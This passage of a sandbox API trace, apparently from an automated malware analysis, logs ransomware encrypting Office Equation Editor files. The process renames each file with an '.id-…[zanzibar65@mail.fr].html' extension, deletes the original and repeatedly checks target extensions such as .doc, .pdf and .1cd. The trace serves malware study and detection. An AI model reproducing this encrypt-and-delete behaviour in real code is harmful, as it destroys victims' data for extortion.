(normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033\\eeintl.dll")) returned 0x20 [0052.455] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033\\eeintl.dll.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0052.455] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033\\eeintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0052.455] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0052.455] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0052.455] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033\\eeintl.dll.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0052.455] GetLastError () returned 0x0 [0052.455] ReadFile (in: hFile=0x1f4, lpBuffer=0x3b50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesRead=0x2fffed4*=0xfa60, lpOverlapped=0x0) returned 1 [0052.458] WriteFile (in: hFile=0x174, lpBuffer=0x3b50020*, nNumberOfBytesToWrite=0xfa70, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesWritten=0x2fffc9c*=0xfa70, lpOverlapped=0x0) returned 1 [0052.460] ReadFile (in: hFile=0x1f4, lpBuffer=0x3b50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0052.460] WriteFile (in: hFile=0x174, lpBuffer=0x3b50020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesWritten=0x2fffc9c*=0xe8, lpOverlapped=0x0) returned 1 [0052.460] SetEndOfFile (hFile=0x174) returned 1 [0052.460] CloseHandle (hObject=0x174) returned 1 [0052.460] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0052.460] SetEndOfFile (hFile=0x1f4) returned 1 [0052.461] CloseHandle (hObject=0x1f4) returned 1 [0052.461] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0052.461] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033\\eeintl.dll")) returned 1 [0052.462] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0052.462] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0052.462] lstrlenW (lpString=".doc") returned 4 [0052.462] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0052.462] lstrlenW (lpString=".docx") returned 5 [0052.462] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0052.462] lstrlenW (lpString=".pdf") returned 4 [0052.462] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0052.462] lstrlenW (lpString=".xls") returned 4 [0052.462] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0052.462] lstrlenW (lpString=".xlsx") returned 5 [0052.462] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0052.462] lstrlenW (lpString=".ppt") returned 4 [0052.462] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0052.462] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0052.462] lstrlenW (lpString=".zip") returned 4 [0052.462] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0052.462] lstrlenW (lpString=".rar") returned 4 [0052.462] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0052.462] lstrlenW (lpString=".bz2") returned 4 [0052.462] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0052.462] lstrlenW (lpString=".7z") returned 3 [0052.462] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0052.462] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0052.462] lstrlenW (lpString=".dbf") returned 4 [0052.462] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0052.462] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0052.462] lstrlenW (lpString=".1cd") returned 4 [0052.462] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0052.462] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0052.462] lstrlenW (lpString=".jpg") returned 4 [0052.462] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0052.463] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0052.463] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0052.463] lstrlenW (lpString=".doc") returned 4 [0052.463] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0052.463] lstrlenW (lpString=".docx") returned 5 [0052.463] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0052.463] lstrlenW (lpString=".pdf") returned 4 [0052.463] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0052.463] lstrlenW (lpString=".xls") returned 4 [0052.463] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0052.463] lstrlenW (lpString=".xlsx") returned 5 [0052.463] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0052.463] lstrlenW (lpString=".ppt") returned 4 [0052.463] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0052.463] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0052.463] lstrlenW (lpString=".zip") returned 4 [0052.463] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0052.463] lstrlenW (lpString=".rar") returned 4 [0052.463] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0052.463] lstrlenW (lpString=".bz2") returned 4 [0052.463] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0052.463] lstrlenW (lpString=".7z") returned 3 [0052.463] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0052.463] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0052.463] lstrlenW (lpString=".dbf") returned 4 [0052.463] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0052.463] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0052.463] lstrlenW (lpString=".1cd") returned 4 [0052.463] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0052.463] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0052.463] lstrlenW (lpString=".jpg") returned 4 [0052.463] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0052.464] lstrcmpiW (lpString1=".CNT", lpString2=".html") returned -1 [0052.464] lstrlenW (lpString="EQNEDT32.CNT") returned 12 [0052.464] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0052.465] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=2557) returned 1 [0052.465] CloseHandle (hObject=0x1f4) returned 1 [0052.465] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt")) returned 0x20 [0052.465] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0052.465] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0052.465] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0052.465] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0052.465] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0052.466] GetLastError () returned 0x0 [0052.466] ReadFile (in: hFile=0x1f4, lpBuffer=0x3b50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesRead=0x2fffed4*=0x9fd, lpOverlapped=0x0) returned 1 [0052.467] WriteFile (in: hFile=0x174, lpBuffer=0x3b50020*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesWritten=0x2fffc9c*=0xa00, lpOverlapped=0x0) returned 1 [0052.468] ReadFile (in: hFile=0x1f4, lpBuffer=0x3b50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0052.468] WriteFile (in: hFile=0x174, lpBuffer=0x3b50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0052.468] SetEndOfFile (hFile=0x174) returned 1 [0052.468] CloseHandle (hObject=0x174) returned 1 [0052.468] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0052.468] SetEndOfFile (hFile=0x1f4) returned 1 [0052.469] CloseHandle (hObject=0x1f4) returned 1 [0052.469] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0052.469] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt")) returned 1 [0052.470] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0052.470] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0052.470] lstrlenW (lpString=".doc") returned 4 [0052.470] lstrcmpiW (lpString1=".doc", lpString2=".CNT") returned 1 [0052.470] lstrlenW (lpString=".docx") returned 5 [0052.470] lstrcmpiW (lpString1=".docx", lpString2="2.CNT") returned -1 [0052.470] lstrlenW (lpString=".pdf") returned 4 [0052.470] lstrcmpiW (lpString1=".pdf", lpString2=".CNT") returned 1 [0052.470] lstrlenW (lpString=".xls") returned 4 [0052.470] lstrcmpiW (lpString1=".xls", lpString2=".CNT") returned 1 [0052.470] lstrlenW (lpString=".xlsx") returned 5 [0052.470] lstrcmpiW (lpString1=".xlsx", lpString2="2.CNT") returned -1 [0052.470] lstrlenW (lpString=".ppt") returned 4 [0052.470] lstrcmpiW (lpString1=".ppt", lpString2=".CNT") returned 1 [0052.470] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0052.470] lstrlenW (lpString=".zip") returned 4 [0052.470] lstrcmpiW (lpString1=".zip", lpString2=".CNT") returned 1 [0052.470] lstrlenW (lpString=".rar") returned 4 [0052.470] lstrcmpiW (lpString1=".rar", lpString2=".CNT") returned 1 [0052.470] lstrlenW (lpString=".bz2") returned 4 [0052.470] lstrcmpiW (lpString1=".bz2", lpString2=".CNT") returned -1 [0052.470] lstrlenW (lpString=".7z") returned 3 [0052.470] lstrcmpiW (lpString1=".7z", lpString2="CNT") returned -1 [0052.470] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0052.470] lstrlenW (lpString=".dbf") returned 4 [0052.470] lstrcmpiW (lpString1=".dbf", lpString2=".CNT") returned 1 [0052.470] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0052.470] lstrlenW (lpString=".1cd") returned 4 [0052.470] lstrcmpiW (lpString1=".1cd", lpString2=".CNT") returned -1 [0052.470] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0052.470] lstrlenW (lpString=".jpg") returned 4 [0052.470] lstrcmpiW (lpString1=".jpg", lpString2=".CNT") returned 1 [0052.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0052.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0052.471] lstrlenW (lpString=".doc") returned 4 [0052.471] lstrcmpiW (lpString1=".doc", lpString2=".CNT") returned 1 [0052.471] lstrlenW (lpString=".docx") returned 5 [0052.471] lstrcmpiW (lpString1=".docx", lpString2="2.CNT") returned -1 [0052.471] lstrlenW (lpString=".pdf") returned 4 [0052.471] lstrcmpiW (lpString1=".pdf", lpString2=".CNT") returned 1 [0052.471] lstrlenW (lpString=".xls") returned 4 [0052.471] lstrcmpiW (lpString1=".xls", lpString2=".CNT") returned 1 [0052.471] lstrlenW (lpString=".xlsx") returned 5 [0052.471] lstrcmpiW (lpString1=".xlsx", lpString2="2.CNT") returned -1 [0052.471] lstrlenW (lpString=".ppt") returned 4 [0052.471] lstrcmpiW (lpString1=".ppt", lpString2=".CNT") returned 1 [0052.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0052.471] lstrlenW (lpString=".zip") returned 4 [0052.471] lstrcmpiW (lpString1=".zip", lpString2=".CNT") returned 1 [0052.471] lstrlenW (lpString=".rar") returned 4 [0052.471] lstrcmpiW (lpString1=".rar", lpString2=".CNT") returned 1 [0052.471] lstrlenW (lpString=".bz2") returned 4 [0052.471] lstrcmpiW (lpString1=".bz2", lpString2=".CNT") returned -1 [0052.471] lstrlenW (lpString=".7z") returned 3 [0052.471] lstrcmpiW (lpString1=".7z", lpString2="CNT") returned -1 [0052.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0052.471] lstrlenW (lpString=".dbf") returned 4 [0052.471] lstrcmpiW (lpString1=".dbf", lpString2=".CNT") returned 1 [0052.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0052.471] lstrlenW (lpString=".1cd") returned 4 [0052.471] lstrcmpiW (lpString1=".1cd", lpString2=".CNT") returned -1 [0052.472] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0052.472] lstrlenW (lpString=".jpg") returned 4 [0052.472] lstrcmpiW (lpString1=".jpg", lpString2=".CNT") returned 1 [0052.472] lstrcmpiW (lpString1=".EXE", lpString2=".html") returned -1 [0052.472] lstrlenW (lpString="EQNEDT32.EXE") returned 12 [0052.472] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0052.472] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=543304) returned 1 [0052.472] CloseHandle (hObject=0x1f4) returned 1 [0052.472] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe")) returned 0x20 [0052.472] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0052.473] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0052.473] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0052.473] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0052.473] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0052.596] GetLastError () returned 0x0 [0052.596] ReadFile (in: hFile=0x1f4, lpBuffer=0x3b50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesRead=0x2fffed4*=0x84a48, lpOverlapped=0x0) returned 1 [0052.606] WriteFile (in: hFile=0x20c, lpBuffer=0x3b50020*, nNumberOfBytesToWrite=0x84a50, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesWritten=0x2fffc9c*=0x84a50, lpOverlapped=0x0) returned 1 [0052.615] ReadFile (in: hFile=0x1f4, lpBuffer=0x3b50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0052.615] WriteFile (in: hFile=0x20c, lpBuffer=0x3b50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0052.615] SetEndOfFile (hFile=0x20c) returned 1 [0052.616] CloseHandle (hObject=0x20c) returned 1 [0052.616] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0052.616] SetEndOfFile (hFile=0x1f4) returned 1 [0052.621] CloseHandle (hObject=0x1f4) returned 1 [0052.621] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0052.621] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe")) returned 1 [0052.621] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0052.621] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0052.621] lstrlenW (lpString=".doc") returned 4 [0052.621] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0052.621] lstrlenW (lpString=".docx") returned 5 [0052.621] lstrcmpiW (lpString1=".docx", lpString2="2.EXE") returned -1 [0052.621] lstrlenW (lpString=".pdf") returned 4 [0052.621] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0052.621] lstrlenW (lpString=".xls") returned 4 [0052.621] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0052.621] lstrlenW (lpString=".xlsx") returned 5 [0052.621] lstrcmpiW (lpString1=".xlsx", lpString2="2.EXE") returned -1 [0052.621] lstrlenW (lpString=".ppt") returned 4 [0052.621] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0052.621] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0052.621] lstrlenW (lpString=".zip") returned 4 [0052.621] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0052.622] lstrlenW (lpString=".rar") returned 4 [0052.622] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0052.622] lstrlenW (lpString=".bz2") returned 4 [0052.622] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0052.622] lstrlenW (lpString=".7z") returned 3 [0052.622] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0052.622] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0052.622] lstrlenW (lpString=".dbf") returned 4 [0052.622] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0052.622] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0052.622] lstrlenW (lpString=".1cd") returned 4 [0052.622] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0052.622] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0052.622] lstrlenW (lpString=".jpg") returned 4 [0052.622] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0052.622] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0052.622] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0052.622] lstrlenW (lpString=".doc") returned 4 [0052.622] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0052.622] lstrlenW (lpString=".docx") returned 5 [0052.622] lstrcmpiW (lpString1=".docx", lpString2="2.EXE") returned -1 [0052.622] lstrlenW (lpString=".pdf") returned 4 [0052.622] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0052.622] lstrlenW (lpString=".xls") returned 4 [0052.622] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0052.622] lstrlenW (lpString=".xlsx") returned 5 [0052.622] lstrcmpiW (lpString1=".xlsx", lpString2="2.EXE") returned -1 [0052.622] lstrlenW (lpString=".ppt") returned 4 [0052.622] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0052.622] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0052.622] lstrlenW (lpString=".zip") returned 4 [0052.622] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0052.622] lstrlenW (lpString=".rar") returned 4 [0052.623] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0052.623] lstrlenW (lpString=".bz2") returned 4 [0052.623] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0052.623] lstrlenW (lpString=".7z") returned 3 [0052.623] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0052.623] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0052.623] lstrlenW (lpString=".dbf") returned 4 [0052.623] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0052.623] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0052.623] lstrlenW (lpString=".1cd") returned 4 [0052.623] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0052.623] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0052.623] lstrlenW (lpString=".jpg") returned 4 [0052.623] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0052.623] lstrcmpiW (lpString1=".manifest", lpString2=".html") returned 1 [0052.623] lstrlenW (lpString="eqnedt32.exe.manifest") returned 21 [0052.623] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0052.624] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=566) returned 1 [0052.624] CloseHandle (hObject=0x1f4) returned 1 [0052.624] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest")) returned 0x20 [0052.624] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0052.624] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest" (normalized: "c:\\program files\\common files\\microsoft 